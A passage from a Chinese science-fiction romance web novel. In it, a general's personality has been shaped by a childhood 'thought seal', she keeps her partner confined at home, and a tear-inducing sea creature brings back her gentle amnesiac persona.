明毓的声音越来越低,说到一半,她忽然反应激烈起来,“不不是,我想成为元帅,复兴明氏的荣光,这是我一生的责任和目标。” 宫博士的嘴角微微上扬,眼中闪过一丝得意。 她知道,明毓的内心深处,已经产生了动摇。 但这些动摇,还并不足以对抗思想钢印。 确认了明毓如今的精神状态后,宋博士才切断了仪器。 见宫博士摘下了仪器,明老夫人问:“宫博士,检查结果如何?” 宫博士微微一笑,语气中带着自信:“老夫人请放心,问题不大。明上将的潜意识已经开始抗拒思想钢印对她的控制,但还好,发现得比较及时,只需要进一步加深思想钢印就行。” 明老夫人的眉头皱起,眼中闪过一丝担忧:“思想钢印……不会被她发现吧?” 宫博士的笑容更加自信:“放心,明上将接受思想钢印植入的时候只有十岁,自我意识还很薄弱,她不会察觉的。” 明老夫人这才松了一口气。 当初她为了给明家培养一个优秀的继承人,用尽方式,可偏偏明毓性格温糯,黏人,于是她狠心给明毓植入了思想钢印—— 【必须变强大,重振明家】 她一边让明毓接受严苛的训练,又一边给予她难得的关爱,这才有了如今的明毓,既强大又对她感恩不已,像傀儡一样被她控制。 可万万没想到,明毓会因为一次意外,脑部遭受重击,导致思想钢印出现问题,她失忆后暂时恢复了本性,遇到宋青佩还怀孕生女,好在终于将人找了回来,本以为一切会回到原本的轨道,没想到……* 对明毓寄予厚望的明老夫人,自然不甘心几乎被就此破坏,于是对宫博士道:“明毓是明家的未来,绝不能让任何人,任何事影响到她。” 宫博士颔首道:“明白,我会继续加深思想钢印的作用,确保明毓会将复兴明家当作此生唯一的目标,不会因为任何人而动摇。” 明老夫人这才满意地点了点头。 宫博士重新戴上仪器,随即开始加深思想钢印的作用。 “明毓,你记住,弱者不配活着。” “你必须强大,示弱是可耻的。” “复兴明氏是你此生唯一的目标,任何人,任何事都不能让你妥协。” 在思想钢印强大的作用下,明毓闭着眼睛,任由那些冰冷的话语,像一把锋利的刀侵入她的脑海。 她的意识慢慢在深渊坠落 她听见十岁那年循环播放的训导:“废物,弱者不配活着……” 当明毓醒来时,唇齿间还残留着镇静剂的苦涩。 她的脸色有些苍白,眼神中透着一丝疲惫。 宫博士站在一旁,脸上依旧带着那抹淡淡的微笑,声音平静。 “明上将,检查结果一切正常。” 明毓没有说话,只是默默地坐起身,试图脱离这些讨厌的仪器。 明老夫人走了过去,探询的目光在明毓的脸上快速扫过,最后化作关心的慈爱,“明毓,你觉得怎么样?” “没事。”明毓强撑着起身。 明老夫人看向她,迫不及待地想要检验思想钢印的作用,试探道:“明毓,奶奶是为了你好,你必须和宋青佩断绝关系。” 明毓没有说话,按住抽痛的太阳穴。 不知为何,此刻她十分渴望见到宋青佩和女儿,仿佛只有这样才能填补她内心的空虚。 而她也是这么做的,一言不发地起身就走,甚至对奶奶都没了平日的尊敬。 见状,明老夫人强压怒气:“明毓!你给我站住!” “奶奶,我知道了。” 明毓脚步一顿,但并没有回头,大步往外走去。 她的脚步在实验室中回响,每一步都像是踩在紧绷的弦上,带着一种压抑的节奏。 等明毓赶回去,却并没有见到宋青佩和女儿,她眸中不由染上了几分不耐。 大厅里,姚倩柔看到明毓回来,脸上写满了不满和质问。 “明毓,你和那个宋青佩到底是怎么回事?”姚倩柔的声音尖锐而刺耳。 明毓目光冷冷地扫过姚倩柔,“我的事,不需要你来管。” 姚倩柔被她的态度激怒,脸色瞬间变得铁青,声音也提高了八度:“你这是什么态度?我是你妈!我不管你谁管你?你现在翅膀硬了,连我的话都不听了是吧?” 明毓语气中带着一丝嘲讽:“妈?你配吗?” 姚倩柔被明毓的话噎住,脸色一阵青一阵白。 她手指颤抖地指着明毓:“你……你竟然敢这么跟我说话!明远泽,你看看你女儿,她现在成什么样子了!” 明远泽皱了皱眉,语气中带着一丝无奈:“明毓,你妈也是为了你好。你现在是明家的继承人,一举一动都关系到家族的声誉。宋青佩那种身份的女人,根本配不上你,你还是趁早和她断绝关系,免得影响你日后……” “够了。”明毓毫不客气地打断他,问道:“告诉我,青佩和颂颂去哪了?” 见刘倩柔和哥哥都吃了亏,明毓又一副不耐烦的模样,明远黛赶紧上前道:“明毓,宋小姐和颂颂在花园里,你去找她们吧。” 明毓点了点头,没有再多说什么,转身朝花园走去。 花园里,颂颂正蹲在一丛花前,小手轻轻拨弄着花瓣,脸上带着天真的笑容。 明芮站在一旁,笑眯眯地看着她,时不时逗她几句。 宋青佩则站在不远处,目光温柔地注视着颂颂,脸上带着一丝淡淡的微笑。 明毓的脚步在花园入口处微微一顿,目光在宋青佩停留了一瞬,走过去道:“时间不早了,我们该回去了。” 明芮听到她的声音,转过头来,脸上带着一丝惊讶:“表姐,你怎么这么快就出来了?宫博士那边……” 明毓没有回答,只是冷冷地看了她一眼,目光中带着一丝警告。 明芮被她的眼神吓了一跳,下意识地闭上了嘴。 宋青佩没注意到两人奇怪的气氛,只是轻声说:“颂颂,我们该回去了。” 颂颂乖巧地点了点头:“好。” 明毓没有再多说什么,转身朝外走去,宋青佩牵着颂颂的手,跟在她身后。 明芮看着她们的背影,眉头微微皱起,心中隐隐有些不安。 她总觉得,明毓从宫博士那里回来之后,似乎哪里有些不一样了。以前似乎也是……表姐每次从宫博士那里出来,就会变得跟她记忆中有些不一样。 是她的错觉吗? —— 回去的路上,车内的气氛有些压抑。 宋青佩坐在后座,想到明芮刚才在花园里对她说的话,目光忍不住瞥向明毓,心中充满了复杂的情绪,明知道不该,可她还是忍不住—— 心软。 尤其是想到‘梦梦’状态的明毓,更是心疼不已。原本高高在上的明毓上将她可以不为所动,可是面对现在的明毓,她已经无法做到无动于衷了。 “明毓……”宋青佩轻声开口,语气中带着一丝试探,“你和你父母的关系……是不是不太好?” 明毓目光依旧直视前方,语气疏离:“我的家事,不需要你来过问。” 宋青佩一下噎住了,为数不多的心软顷刻间烟消云散。 呵,是她不该自作多情,就明毓这个臭嘴,活该孤独终老,一辈子没老婆。 一路上,两人没再说一句话。 坐在中间的颂颂,仰着小脸看了看宋青佩,又转头看了看明毓,托着下巴,发出一声与她这个年纪不相符的长长叹息。 唉,妈妈和妈咪肯定又生气了,好烦。 回到家后,明毓径直走向书房,语气冷淡地对宋青佩说:“你跟我来一下,我有事跟你说。” 宋青佩心里不爽,但还是跟着明毓走进了书房。 书房里,明毓站在窗前,背对着宋青佩,语气中带着一丝命令:“宋青佩,我希望你辞掉蓝海的工作。” 没想到两人争执了这么久,明毓居然还没死心。 但是在这件事情上,她是绝不会退让的,这对于她不仅仅是一份工作,还是她喜欢的事业,一次证明自己的机会,更是她拿到颂颂抚养权的唯一的底气。 宋青佩并不想和明毓再起争执,于是压着火气,试图和她沟通。 “我在蓝海工作得很好,你为什么非要让我辞职?” 可明毓自从在老宅回来,就仿佛变了一个人,不但没了耐心,甚至一改最近对宋青佩示好的态度,强势道:“没有为什么,我不希望你继续在那里工作,更不想看到你和慕容瑞雪接触。别的你不用多问,辞职就行了。” 这话简直气死个人。 明毓根本就不是在跟她商量,而是命令,好像将她当作了下属,高高在上的下着不能忤逆的命令。 宋青佩心中一阵愤怒,咬牙道:“明毓,你就不能给我一点尊重吗?” “我是为你好。”明毓依旧坚持道。 听到这话,宋青佩简直被气笑了:“你真的是为我好吗?还是你只是想要控制我?” 明毓的眉头微微皱起,目光中透出一丝挣扎,但很快,再次恢复了强势:“宋青佩,你必须明白,我的决定不容置疑。” 闻言,宋青佩浑身僵住。 明毓已经许久没用这种命令的语气跟她说话了,再加上她最近的频频示好,竟然让她升起了一个可笑的想法,这人也是沟通的,也是可以讲道理的。 可是现在看来,明毓还是曾经的她,只不过隐藏得太好了。 想到昨晚两人的亲密,宋青佩更是一阵心痛,“你……你怎么又变成这样子了?” “哪样?”明毓听出她的意思,不由冷哼一声:“宋青佩,你是想让我一直像‘梦梦’那样讨好你吗?我告诉你,那是不可能的。” 宋青佩惊诧地看着明毓,心中翻涌着复杂的情绪。 “梦梦?”她的声音忍不住颤抖起来:“你……你果然记得,这到底是怎么回事?” 明毓的目光平静,没有丝毫的躲闪。 她直视着宋青佩,坦诚相告:“梦梦是我接受催眠后出现的一种失忆状态。毕竟你口口声声怀念失忆后的我,可我不可能做到那样低声下气地讨好你,只能让她出来和你缓和关系。” 宋青佩的瞳孔猛地收缩,仿佛被什么东西狠狠击中。 低声下气?讨好? 可真会倒打一耙,明毓竟然觉得‘梦梦’那是在讨好她? 可是她刚见到‘梦梦’时,她就是那样的啊,天真,黏人,温柔,带着几分孩子气,和现在的明毓判若两人。 所以她才会坚定地认为,在明毓恢复记忆后,‘梦梦’已经死了。 她用了三年的时间,努力地去接受这个事实,可是明毓仅仅因为自己的一己之私,就再次给了她希望,让她再次见到了日思夜想的人,然后在她沉溺其中后,又轻飘飘的一句话将这个梦境打破了。 宋青佩颤声质问:“你……你为什么要用这种方式来骗我?” 对于她的执着,明毓难以理解。 失忆后的‘梦梦’也好,现在的她也好,不都是她吗?有什么区别? 她的眉头微微皱起,语气中带着一丝烦躁:“宋青佩,是你口口声声说梦梦已经死了,我们回不到过去了。既然如此,我让‘梦梦’重新出现,我们也可以和谐相处,这样有什么不好?” “这不一样!” 宋青佩的声音陡然提高,“明毓,你知道什么是爱吗?” “爱是唯一!” “哪怕‘梦梦’只是你失忆后的一种状态,但是那个状态下我们是相爱的,我宁愿相信我们的爱死在了你恢复记忆的那一刻,也不愿面对曾经的爱人被扭曲成现在这样。” 宋青佩的心仿佛被狠狠撕裂,她感到一阵窒息般的痛苦。 她第一次如此浓烈地表达自己的感情,近乎是愤怒地咆哮道:“我告诉你!明毓,我不喜欢这种欺骗,更不会喜欢现在这个完全没有同理心的你,永远都不会喜欢!我们以后桥归桥,路归路,你也不要再插手我的事,我更不会辞职!” “除了颂颂,我们之间再无关系!” 对于她的愤怒明毓有片刻的动容,但也只是一瞬,很快便恢复了强势。 她毫不犹豫地驳回了宋青佩的话,带着不容拒绝的命令道:“宋青佩,我需要你在发热期标记我,颂颂也需要妈妈陪在身边。从今天开始,你不准再去蓝海工作,也不准再和慕容瑞雪接触。” 对于她无理的要求,宋青佩愤怒至极:“明毓,你没有权利控制我!我不会听你的!” 闻言,明毓的目光中透出危险的气息:“宋青佩,你别逼我。 两人之间的气氛瞬间变得剑拔弩张,仿佛一场无声的战争正在酝酿。 最终,宋青佩咬了咬牙,转身离开了书房。 她的心中充满了愤怒和失望,仿佛一场美好的梦境被无情地戳破。 第二天是周六,原本要休息的,但是宋青佩答应了加班维修一辆机甲。 于是她依旧像往常一样吃过早饭,准备去上班。 然而,当她走到门口时,却发现几名身穿黑色制服的士兵拦住了她的去路。 他们面无表情地拦在她面前,仿佛一堵无法逾越的高墙,宋青佩顿时脸色铁青。 “让开!”她厉声喝道,“你们没有权利限制我的自由!” 为首的士兵语气恭敬却不容置疑:“宋小姐,明上将吩咐过,为了您的安全,请您暂时不要离开庄园。” “安全?”宋青佩冷笑一声,“我看是囚禁吧!明毓她凭什么这么做?” 保镖们沉默不语,只是坚定地挡在她面前。 宋青佩气得浑身发抖,她掏出手机,拨通了明毓的号码。 电话响了很久才被接通,明毓的声音传来:“怎么了?” “明毓,你这是什么意思?”宋青佩强压着怒火,“你凭什么限制我的人身自由?” “我说过,为了你的安全。”明毓的声音依旧平静,“最近外面不太平,你待在庄园里最安全。” “你少来这套!”宋青佩终于忍不住爆发了,“什么安全不安全,你就是想控制我!明毓,你太过分了!” 电话那头沉默了片刻,明毓的声音冷了下来:“你乖乖待在庄园里陪颂颂就好,等我回来。” “你——” 宋青佩还想说什么,电话已经被挂断了。 “明毓,你个混蛋!” 第35章 哭的好惨 宋青佩实在没办法,气得转身回了别墅。 颂颂正坐在客厅的沙发上,看到她怒气冲冲地进来,关心的问:“妈妈,你怎么了?” 她走到女儿身边坐下,轻轻抱起她,颂颂身上淡淡的奶香味让她稍稍平静了一些。才勉强挤出一丝笑容:“没事,妈妈只是有点生气。” “妈妈,你是不是又和妈咪吵架了?”颂颂仰起小脸问。 宋青佩愣住:“你怎么知道?” “因为妈咪今天早上走的时候,脸色也好难看。”颂颂小声说,“她还让我好好看着妈妈,不让你出去,说外面很危险。” 听到女儿这么说,宋青佩不由更生气了。 什么外面有危险?居然连小孩子都骗,明毓现在真的是一点脸都不要了。 宋青佩简直要气死了,在心底将人骂了一百遍。 直到门铃突然响了。 宋青佩起身去开门,看见来人不由怔住了。 “明芮,你怎么来了?”宋青佩有些意外。 明芮探头看了看屋里,压低声音说:“我听说表姐不让你出门,特地来看看。” 宋青佩苦笑一声:“你消息倒是灵通。” 明芮打着哈哈笑了笑,过去和颂颂说起了话,时不时的看向宋青佩,一副欲言又止的模样。 见状,宋青佩还以为她是明毓找来说客的,索性先发制人,将明毓做的缺德事吐槽了一遍,最后反问道:“你说她一个上将,做这种事情是不是太过分了?” 拉着她走到一边,明芮小声说:“表姐这次做得确实过分了。不过你别太生气,她也是太在乎你了。” “在乎我?”宋青佩不由冷笑,“她这叫在乎?分明就是控制欲作祟!” “唉,表姐从小就被外婆严格要求,不太懂怎么表达感情。” 说着,明芮不由叹了口气:“明明表姐以前不这样的,小时候的她又软萌又可爱,还特别黏我,贼喜欢哭,一边哭一边还问我是不是不喜欢她了,简直就是个小可怜。” “可自从我大表姐因为意外去世了,表姐成了明家的继承人,外婆就开始对她严加管教,尤其不喜欢她软糯的性格,更不能看到她哭,甚至找人为表姐制定了专业的训练计划。从那以后,表姐就慢慢地像变了一个人,成了现在这个冷冰冰的明毓上将。真是可惜,我还是喜欢曾经的表姐。” 听着明芮的话,宋青佩越发觉得她的形容,和自己印象中的‘梦梦’有相似。 她不由惊诧道:“你说的明毓……实在像极了梦梦。” “梦梦?”明芮一脸疑惑。 宋青佩这才反应过来她不知道梦梦,赶紧解释道:“不好意思,梦梦是明毓失忆时候的名字。” 听宋青佩提起明毓失忆后的样子,立刻来了兴致,忍不住追问细节。 宋青佩也没多想,便按照自己记忆中的‘梦梦’描述了一番,天真,温柔,似乎还很没有安全感,特别黏她。 简直与现在的明毓大相径庭,甚至说是变了一个人也不为过。 越听,明芮越发觉得不对劲,宋青佩形容的‘梦梦’,简直就是原本的表姐应该有的性格。她不由问道:“那你觉不觉得,表姐昨天回来后也跟之前不太一样了?” 宋青佩不由吐槽:“确实和不太一样了,简直蛮不讲理了。” “那你觉得有没有一种可能”明芮沉吟片刻,试探道:”表姐失忆后的样子,才应该是她真正的性格?” 宋青佩一愣,随即摇头:“不可能吧?失忆毕竟是短暂的,怎么可能失忆后才是她的本性?” “不,我觉得有问题。”明芮却摇了摇头,语气笃定:“我从小就觉得有问题。每次表姐去宫博士那里,回来就像变了一个人。小时候我不懂,但现在想想,宫博士肯定有问题。” 宋青佩听到这话,心里一阵翻涌,她从未想过明毓的性格变化背后可能隐藏着秘密。她沉默了片刻,不由道:“那你觉得……宫博士对明毓做了什么?” 明芮摇了摇头:“我也不确定,但我怀疑宫博士可能对表姐进行了某种心理干预,甚至是……人格改造。” “人格改造?”宋青佩瞪大了眼睛。 她从未想过,明毓的冷漠和强势,竟然可能是人为干预的结果。 明芮看着宋青佩震惊的表情,语气变得严肃起来:“所以,我需要你的帮助。我们一起调查这件事,揭开事情的真相。” 宋青佩不禁犹豫道:“我我能做什么?明毓对我并不信任。” “这你可错了。”明芮笑了笑,语气十分笃定:“你现在可是表姐最信任的人,至少在她失忆的那段时间里,她对你是毫无保留地。你可以试着从她那里套出一些信息,比如她去宫博士那里后到底发生了什么。” 宋青佩皱了皱眉,心里有些挣扎。 她确实想知道真相,但她和明毓现在的关系并不好,甚至可以说是在冷战。 她叹了口气,无奈地说:“我现在正和明毓吵架呢,怎么可能问得出这么私密的事?” 明芮听了,沉默了片刻,忽然咬了咬牙,似乎下定了什么决心。 她解释道:“其实,表姐让你辞职,真的是为你好。” 宋青佩一愣,抬头看向明芮:“什么意思?” 明芮深吸了一口气,语气变得凝重起来:“其实慕容瑞雪,是黑鸢花叛军组织的人。她接近你,是另有目的。” “什么?”宋青佩脸色瞬间变得苍白。 她无法相信,自己一直信任的朋友,竟然是叛军组织的人。 明芮从光脑里调出一份文件,指给宋青佩:“这是调查局的调查令,你自己看吧。” 宋青佩看着看着,手有些发抖。 只见调查令上面赫然写着慕容瑞雪的名字,以及她的身份背景调查,心一下子沉到了谷底,整个人仿佛被抽空了力气。 “这……这怎么可能?”她喃喃自语,声音里带着颤抖。 明芮叹了口气,语气里带着几分无奈:“我知道这很难接受,但事实就是如此。表姐不告诉你,是因为她原则性太强,不想泄密。而且……她也不擅长表达。” 宋青佩沉默了片刻,心里的怒气渐渐消散,取而代之的是一种深深的失望和无力感。她没想到,自己竟然一直被蒙在鼓里,甚至还因为这件事和明毓闹得不可开交。 “她为什么不早点告诉我?”宋青佩语气里带着一丝茫然。 明芮摇了摇头:“表姐就是这样的人,她总是把责任扛在自己肩上,不愿意让别人担心。她让你辞职,真的是为了保护你。” 宋青佩深吸了一口气,努力平复自己的情绪。 她知道自己错怪了明毓,但心里对于她这样强势的手段依旧有些难以接受。 她沉默了片刻,低声说:“我明白了,我会想办法从明毓那里问出一些信息的。” “谢谢。”明芮点了点头,又叮嘱道:“不过,这两件事都要保密,一定不能告诉任何人。我可是冒着风险告诉你的。” 宋青佩点了点头,心里有些沉重,没想到自己竟然卷入了这么复杂的事情中。 她看着明芮,低声问:“那你打算怎么调查宫博士?” 明芮笑道:“我已经有了一些线索,但还需要更多的证据。你只要帮我从表姐那里问出一些关键信息,剩下的交给我。” “好,我知道了。” 明芮站起身,拍了拍宋青佩的肩膀,语气里带着几分安慰:“别想太多,表姐真的是为你好。你只要记住这一点就行了。” 宋青佩勉强笑了笑,“我知道。” 明芮走后,宋青佩坐在沙发上,心中五味杂陈。 明芮的话像一根刺,深深扎在她的心里,她无法相信,慕容瑞雪竟然真的和黑鸢花有关系。那个亦师亦友、对她关怀备至的慕容瑞雪,怎么会有目的的欺骗她? 正当她思绪纷乱时,手机突然响了起来。 她低头一看,屏幕上显示着“慕容瑞雪”的名字。 宋青佩的手指在接听键上停顿了片刻,最终还是按了下去。 “青佩,你今天怎么没来公司?”电话那头,慕容瑞雪的声音依旧温柔,却带着一丝焦急。 宋青佩握紧手机,喉咙有些发干:“我……有点事,暂时去不了。” “出了什么事吗?”慕容瑞雪敏锐地察觉到她的不对劲,语气更加关切,“你听起来不太对劲,是不是身体不舒服?” 宋青佩咬了咬唇,心里一阵挣扎。 她不知道该怎么说,也不知道该不该说。明芮的警告还在耳边回响,她不能打草惊蛇,可面对慕容瑞雪的关心,她又无法完全冷静。 “我……可能需要请一个月的假。”她终于开口,声音有些干涩。 “请假?”慕容瑞雪的声音明显提高了,“为什么突然要请假?是不是出了什么事?青佩,你别瞒我,有什么事我们一起解决。” 宋青佩深吸一口气,努力让自己的声音听起来平静:“没什么大事,只是……明毓她……她有点吃醋了,觉得我们走得太近,不想让我再和你接触。” 电话那头沉默了片刻,随后传来慕容瑞雪略带无奈的声音:“明毓上将怎么会这么想?我们只是普通的朋友关系而已。她这样替你做决定,未免太不尊重你了。” 宋青佩听着她语气依旧温柔,可因为心境不同,她却从中听出了一丝试探和怂恿。 她握紧手机,低声说:“我也不想和她起冲突,所以……暂时先顺着她的意思吧。” “青佩,你不能这么轻易妥协。”慕容瑞雪的声音忽然变得急切起来,“你是独立的个体,不应该被任何人控制。明毓上将这样做,明显是不信任你。你应该和她好好谈谈,争取自己的权利。” “我会考虑的。”宋青佩淡淡地说:“不过,最近我确实有些累,想休息一段时间。” “青佩,你……”慕容瑞雪似乎还想说什么,但最终只是叹了口气,“好吧,你先好好休息。如果有需要,随时联系我。” “嗯,谢谢。”宋青佩说完,挂断了电话。 她放下手机,心里一阵复杂。 慕容瑞雪的反应让她更加确信,明芮的话并非空穴来风。 慕容瑞雪的确有问题,而她,似乎已经卷入了一场巨大的阴谋中—— 与此同时,慕容瑞雪放下电话,脸色瞬间变得阴沉。 她很快拨通了另一个号码。 “李蔓,出事了。”她的声音低沉而急促。 “怎么了?” “宋青佩今天没来公司,说要请一个月的假。”慕容瑞雪握紧手机,语气中带着一丝焦虑,“她说是因为明毓吃醋,不让她再和我接触。” “什么?”李蔓的声音也瞬间提高了,“她怎么会突然这么说?是不是她知道了什么?” “我不知道。但她今天的语气很奇怪,似乎对我有所防备。” “糟糕!”李蔓的声音越发焦躁起来,“我们的时间不多了,如果宋青佩不来公司,我们的计划就全完了!” “我知道。” 慕容瑞雪道:“可现在怎么办?她不来公司,我们根本没办法接近她。” 李蔓沉默了片刻,慢慢冷静下来:“你先别急,我去探探情况。如果宋青佩真的起了疑心,我们就只能采取其他手段了。” “其他手段?”慕容瑞雪皱了皱眉,“你是说……” “必要的时候,直接动手。”李蔓的声音冰冷而坚决,“我们不能再等了。” 慕容瑞雪握紧手机,心里一阵挣扎。 “好,我知道了。”她低声说:“我会继续联系她,想办法让她回公司。” “记住,我们的时间不多了。”李蔓说完,挂断了电话。 慕容瑞雪放下手机,走到窗边,看着楼下的车水马龙,心里一阵复杂。 她也不想对宋青佩下手,可眼下的情况已经容不得她犹豫。 另一边。 宋青佩闲来无事,决定给颂颂做点好吃的。 她走进厨房,看到厨师们正在忙碌地准备晚餐的食材。 宋青佩四处看了看,注意到一个她从未见过的奇怪食材。 那东西装在一个透明的玻璃缸里,形状怪异,像是某种深海生物,表面布满了细小的触须,颜色呈现出一种诡异的蓝紫色,微微蠕动,仿佛还活着一般。 “这是什么?”宋青佩好奇地凑近,指着那东西问道。 一旁的厨师李嫂见状,赶紧解释道:“宋小姐,这是‘泪海葵’,只有在深海才能捕到,味道极其鲜美,但处理起来非常麻烦。它的触须会释放一种气体,接触到……” 宋青佩听得越发好奇,正好看到那东西动了动,忍不住去碰了碰那个“泪海葵”。 李嫂见状,急忙喊道:“太太,别碰!那东西很危险!” 然而,已经晚了。 宋青佩的手指刚刚触碰到“泪海葵”,那东西仿佛受到了刺激,瞬间释放出一股刺鼻的气体。她只觉得眼睛一阵剧痛,仿佛被无数细针扎中,她的眼泪瞬间涌了出来,止也止不住。 “啊!”宋青佩大叫一声,捂住眼睛,泪水顺着她的脸颊不断滑落。 她的眼睛火辣辣地疼,视线也变得模糊不清。 李嫂见状,吓得手足无措,赶紧跑去拿面罩和清水,试图帮宋青佩缓解痛苦。 然而,那股气体的刺激性极强,宋青佩的眼睛已经红肿得厉害,泪水不停地流,根本无法睁开。 就在这时,颂颂听到了妈妈的惨叫声,急忙从客厅跑了过来。 她看到宋青佩满脸泪水,眼睛红肿,顿时慌了神,跑到妈妈身边,伸出小手想要帮她擦眼泪。 “妈妈,你怎么了?别哭,颂颂帮你擦擦。”颂颂一边说着,一边用小手去抹宋青佩的脸。 然而,颂颂的手刚刚碰到宋青佩的脸,那股刺鼻的气体也沾到了她的手上。颂颂只觉得眼睛一阵刺痛,眼泪也不受控制地流了下来。 “呜呜……妈妈,我的眼睛好疼……”颂颂捂着眼睛,哭得比宋青佩还要厉害。 苏管家听到动静,赶紧跑了过来。 看到宋青佩和颂颂两人都在流泪,他立刻意识到事情的严重性,连忙叫人拿来清水和毛巾,帮她们清洗眼睛。同时,让人赶紧去叫医生。 “宋小姐,您先别动,医生马上就来。” 苏管家一边帮宋青佩擦拭眼睛,一边安慰道。 宋青佩的眼睛疼得厉害,根本无法睁开。她只能闭着眼睛,任由泪水不停地流。 颂颂也被熏得眼泪汪汪,苏管家见状,赶紧让人把她带到另一个房间,免得她再接触到那股气体。 医生很快赶到了。 经过检查,他告诉宋青佩:“宋小姐,您的眼睛受到了强烈的刺激,需要两三天才能完全恢复。这段时间,您尽量闭着眼睛休息,不要用眼过度,否则可能会加重症状。” 宋青佩无奈地点了点头,心里暗自懊恼自己为什么要手贱去碰那个“泪海葵”。 她躺在床上,眼睛闭得紧紧的,泪水却依旧止不住地流。 晚饭她也没吃,整个人都蔫蔫的,心情差到了极点。 颂颂被苏管家带到了客厅,虽然眼睛已经不疼了,但她还是担心妈妈,想要去看看宋青佩。 然而,宋青佩怕她再受到影响,便让苏管家拦住了她,不让她进房间。 “妈妈为什么不让我进去?”颂颂噘着小嘴,满脸委屈。 苏管家摸了摸她的头,安慰道:“妈妈的眼睛不舒服,需要休息。颂颂乖,等妈妈好了再去看她,好吗?” 颂颂虽然不情愿,但还是点了点头,坐在客厅里玩起了玩具。 她的眼睛还有些红红的,看起来可怜兮兮的。 没多久,明毓回来了。 她一进大厅,就看到颂颂红着眼睛坐在那里,手里拿着玩具,却一副心不在焉的样子。 “颂颂,你怎么了?眼睛怎么红了?”明毓走过去,蹲下身,关切地问道。 颂颂抬起头,看到是明毓,顿时委屈地扑进她的怀里,带着哭腔说道:“妈妈在哭,她眼睛好疼,晚上都没有吃饭。我好心疼妈妈,可是她不让我进去看她。” 明毓一听,顿时愣住了。 宋青佩哭了?还哭得连晚饭都没吃? 她心里一紧,宋青佩向来是个坚强的人,很少在她面前流露出脆弱的一面,这次竟然因为辞职的事情哭得这么厉害,甚至气得绝食了。 “你妈妈……真的哭了?”她还是有些不敢相信。 颂颂点了点头,小脸上满是担忧:“妈妈的眼睛好红,一直在流泪,” 明毓心里更加不安了。 她没想到事情会闹得这么严重,她犹豫了一下,决定上楼去看看宋青佩。 缓步走到宋青佩的房间门口。 明毓轻轻敲了敲门,里面传来宋青佩有些虚弱的声音:“谁?” “是我。”明毓低声说。 房间里沉默了片刻,随后宋青佩的声音再次响起:“进来吧。” 明毓推开门,走了进去。 房间里光线昏暗,宋青佩躺在床上,眼睛紧闭,脸上还挂着泪痕。 她的眼睛红肿得厉害,看起来十分憔悴。 明毓看到这一幕,心里顿时一疼。 她走到床边,难得温柔:“你……还好吗?” 宋青佩听到明毓的话,以为她已经知道了自己的糗事*,心里一阵酸楚,这次真的丢人丢大了。 她努力睁开眼睛,想让自己看上去别那么狼狈,声音沙哑地说:“没事,现在好多了。” 听到她沙哑的不行的声音,在看向她红肿的眼睛,明毓心里更是一阵酸涩,仿佛被密密麻麻的针扎了一般,她自己受伤都没有如此难受。 她张了张嘴,试图说些什么话,却不知道该如何表达。 最终,她只能憋出一句:“你……总不能因为这个连饭都不吃吧。” 宋青佩顿时觉得更加丢脸了,扭开脸:“我不饿,只是眼睛还有些不舒服,睡一觉就好了。” 见她将脸撇向一边,明毓以为她还在生气,不想看见她,心里更是难受,想要解释,哄哄她,却又笨拙的不知道该怎么说。 许久,她妥协道:“你别生气了,让我做什么都可以。” 没想到明毓会突然说出这样的话,明毓心里有些惊讶,但更多的是疑惑。 太阳打西边出来了? 她抬起头,虽然眼睛看不清,但还是努力看向明毓的方向,问:“你说什么?” 明毓咬唇,声音低了下来:“我说……你别生我的气了,让我做什么都可以。” 宋青佩这才反应过来,明毓这是以为她还在因为逼她辞职的事情生气了,她不由心里一动,忽然觉得有些好笑。 没想到明毓会为了让她消气说出这样的话,她故意问:“真的做什么都可以?” 虽然知道宋青佩可能看不清,但明毓还是郑重地点了点头,“嗯,除了去蓝海工作的事。” 宋青佩挑了挑眉,心里忽然生出了一丝恶作剧的念头。 她故意说:“那……颂颂的抚养权呢?” 明毓的脸色瞬间沉了下来,语气也变得冷硬:“除了这个。” 见明毓反应这么大,宋青佩心里顿觉有意思,故作生气地吐槽道:“这也不行,那也不行,还说做什么都可以。” 一贯较真的上将大人,此刻有些理屈。 她沉默了一瞬,认真道:“除了这两个,别的真的都可以。” “那要是再不行怎么办?”宋青佩故意为难她。 明毓一向不会说大话,沉默了一瞬,闷声问:“你说怎么办?” 这真是个好问题,她还真没想好怎么办。 其实从明芮那里得知真相后,宋青佩的火气就已经消失了大半,剩下的是气明毓不由分说把她关在家里,想着不能如此就妥协,不然明毓肯定会变本加厉。 于是宋青佩沉思了片刻,故意道:“那你能不能让‘梦梦’出来?” 现在她这个鬼样子,对着梦梦起码比看明毓的臭脸高兴。最重要的是,她不是说,那都是她,没有什么区别吗?那就让她尝尝自作自受的滋味。 闻言,明毓的脸色果然变得难看起来。 见她不说话,宋青佩以为她不同意,加上眼睛实在不舒服,也懒得气她了,翻身扭头,准备睡觉。 以为她真的气恼了,明毓心里一急,终于妥协了。 她咬了咬牙,低声说:“好,我让‘梦梦’出来。” 见她这么好说话,宋青佩都惊了,惊诧地望向她。 明毓闭上眼睛,深吸了一口气,随后缓缓吐出一个名字:“梦梦。” 随着这个名字的念出,明毓的表情逐渐变的柔和起来,当她再次睁开眼睛时,眼神已经变得温柔而清澈。 “姐姐,你这是怎么了?” 梦梦看到宋青佩红着眼的模样,忙凑过去查看,声音里满是关切。 宋青佩听到这熟悉的声音,心里一暖,眼泪不由涌了出来。 她摇了摇头,声音有些哽咽:“我没事,只是眼睛有点疼。” 梦梦坐到床边,轻轻地捧着她的脸,温柔地说:“姐姐,别担心,我会一直陪着你,直到你好起来。” 宋青佩感受着梦梦手心的温度,哪怕这是虚幻的,心里还是忍不住感到一阵安慰。可想到明芮的话,她又不禁担忧起来,‘梦梦’和明毓到底是怎么回事? 她又该怎么面对这一切? 想想就头疼。 第36章 姐姐,我想要你! 宋青佩的眼睛因为长时间睁着,被光线刺激下,泪水时不时地滑落,仿佛无法止住,看上去好不凄惨。 梦梦坐在床边,双手轻轻捧着她的脸,眼中满是心疼。 她的手指轻轻抚过宋青佩的眼角,声音柔软得像一阵微风:“姐姐,眼睛还痛吗?要不要我帮你吹吹?” 宋青佩勉强笑了笑,摇了摇头:“没事了,已经不痛了,只是泪海葵的刺激性太大了,得过几天才能好。” 听到过几天才能好,梦梦的眉头皱得更紧了,她的眼眶也开始泛红,就像宋青佩的疼痛直接传递到了她的心里,眼泪也跟着掉了下来。 “姐姐,你怎么还在哭啊?” 梦梦的声音带着一丝哽咽,她用手背擦了擦自己的眼泪,却越擦越多,“姐姐你别哭了,你一哭,我也想哭……” 宋青佩看着梦梦那副委屈巴巴的样子,心里既感动又无奈。 